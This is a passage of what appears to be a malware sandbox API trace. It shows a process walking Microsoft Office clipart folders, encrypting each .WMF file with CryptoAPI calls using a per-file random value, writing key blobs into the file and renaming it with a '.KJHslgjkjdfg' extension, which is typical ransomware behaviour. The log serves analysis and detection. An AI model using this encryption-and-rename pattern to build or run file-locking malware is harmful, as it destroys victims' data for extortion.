CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1230, dwBufLen=0x1230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1230) returned 1 [0249.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.510] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1230, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1230, lpOverlapped=0x0) returned 1 [0249.511] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.511] SetEndOfFile (hFile=0x130) returned 1 [0249.513] GetProcessHeap () returned 0x2ef0000 [0249.513] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.513] GetProcessHeap () returned 0x2ef0000 [0249.514] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.kjhslgjkjdfg")) returned 1 [0249.516] CloseHandle (hObject=0x130) returned 1 [0249.516] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851c9c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851c9c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00218_.WMF", cAlternateFileName="")) returned 1 [0249.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.518] GetProcessHeap () returned 0x2ef0000 [0249.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.518] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.518] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.518] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.518] GetProcessHeap () returned 0x2ef0000 [0249.519] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.519] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.519] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.519] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.521] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.522] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.522] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.522] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.522] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bc0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bc0, lpOverlapped=0x0) returned 1 [0249.523] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bc0) returned 1 [0249.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.523] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1bc0, lpOverlapped=0x0) returned 1 [0249.523] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.523] SetEndOfFile (hFile=0x130) returned 1 [0249.526] GetProcessHeap () returned 0x2ef0000 [0249.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.526] GetProcessHeap () returned 0x2ef0000 [0249.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.kjhslgjkjdfg")) returned 1 [0249.528] CloseHandle (hObject=0x130) returned 1 [0249.528] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3399f000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3399f000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00231_.WMF", cAlternateFileName="")) returned 1 [0249.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.529] GetProcessHeap () returned 0x2ef0000 [0249.530] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.530] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.530] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.533] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.533] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.533] GetProcessHeap () returned 0x2ef0000 [0249.533] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.534] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.534] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.534] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.534] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.535] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x738, lpOverlapped=0x0) returned 1 [0249.535] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x740, dwBufLen=0x740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x740) returned 1 [0249.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.535] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x740, lpOverlapped=0x0) returned 1 [0249.535] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.535] SetEndOfFile (hFile=0x130) returned 1 [0249.538] GetProcessHeap () returned 0x2ef0000 [0249.538] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.538] GetProcessHeap () returned 0x2ef0000 [0249.538] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.kjhslgjkjdfg")) returned 1 [0249.540] CloseHandle (hObject=0x130) returned 1 [0249.540] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65787a00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65787a00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xc68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00234_.WMF", cAlternateFileName="")) returned 1 [0249.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.543] GetProcessHeap () returned 0x2ef0000 [0249.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.543] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.543] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.543] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.545] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.545] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.546] GetProcessHeap () returned 0x2ef0000 [0249.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.546] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.546] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.546] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.546] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.546] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.546] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.547] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.547] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.547] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.547] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc68, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc68, lpOverlapped=0x0) returned 1 [0249.547] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc70, dwBufLen=0xc70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc70) returned 1 [0249.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.547] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc70, lpOverlapped=0x0) returned 1 [0249.547] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.547] SetEndOfFile (hFile=0x130) returned 1 [0249.551] GetProcessHeap () returned 0x2ef0000 [0249.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.551] GetProcessHeap () returned 0x2ef0000 [0249.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.kjhslgjkjdfg")) returned 1 [0249.553] CloseHandle (hObject=0x130) returned 1 [0249.553] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d200, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa3d200, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xf8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00241_.WMF", cAlternateFileName="")) returned 1 [0249.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.555] GetProcessHeap () returned 0x2ef0000 [0249.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.555] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.558] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.558] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.558] GetProcessHeap () returned 0x2ef0000 [0249.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.558] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.558] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.558] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.558] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.558] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.559] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.559] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.559] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.559] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.559] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf8c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf8c, lpOverlapped=0x0) returned 1 [0249.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf90, dwBufLen=0xf90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf90) returned 1 [0249.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.559] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf90, lpOverlapped=0x0) returned 1 [0249.560] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.560] SetEndOfFile (hFile=0x130) returned 1 [0249.562] GetProcessHeap () returned 0x2ef0000 [0249.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.563] GetProcessHeap () returned 0x2ef0000 [0249.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 